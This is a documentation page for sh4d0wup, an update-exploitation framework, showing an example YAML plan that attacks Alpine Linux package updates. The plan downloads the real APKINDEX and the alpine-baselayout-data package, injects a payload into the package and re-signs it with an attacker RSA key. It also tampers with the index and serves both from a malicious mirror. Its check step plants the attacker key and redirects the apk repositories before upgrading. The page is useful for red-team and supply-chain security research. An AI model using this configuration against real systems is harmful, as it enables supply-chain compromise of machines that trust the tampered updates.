sh4d0wup 0.11.0

Signing-key abuse and update exploitation framework
Documentation
---

upstreams:
  alpine:
    url: https://dl-cdn.alpinelinux.org/

signing_keys:
  pwn:
    type: openssl
    keypair_type: rsa
    bits: 4096

artifacts:
  upstream_index:
    type: url
    url: https://dl-cdn.alpinelinux.org/alpine/edge/main/x86_64/APKINDEX.tar.gz

  upstream_release:
    type: apk-pkg
    artifact: upstream_index
    url: https://dl-cdn.alpinelinux.org/alpine/edge/main/x86_64/
    pkg:
      name: alpine-baselayout-data

  upstream_pkg:
    type: url
    url_template: '{{url}}'
    template_metadata: upstream_release

  pkg_infected:
    type: infect
    infect: apk
    artifact: upstream_pkg
    signing_key: pwn
    signing_key_name: hax.rsa.pub
    payload: id

  index_patched:
    type: tamper
    tamper: patch-apk-index
    artifact: upstream_index
    signing_key: pwn
    signing_key_name: hax.rsa.pub
    #patch:
    #  - name: alpine-baselayout
    #    artifact: pkg_infected
    #    set:
    #      "V": 3.1337.0-r0

check:
  image: alpine:edge
  install_keys:
    - key: pwn
      cmd: "tee /etc/apk/keys/hax.rsa.pub > /dev/null"
  cmds:
    - 'echo "http://${SH4D0WUP_BOUND_ADDR}/alpine/edge/main" | tee /etc/apk/repositories'
    - 'echo "http://${SH4D0WUP_BOUND_ADDR}/alpine/edge/community" | tee -a /etc/apk/repositories'
    - ["apk", "upgrade"]

routes:
  - path: /alpine/edge/main/x86_64/APKINDEX.tar.gz
    type: static
    args:
      artifact: index_patched

  - path: /alpine/edge/main/x86_64/alpine-baselayout-data-3.1337.0-r0.apk
    type: static
    args:
      artifact: pkg_infected

  - type: proxy
    args:
      upstream: alpine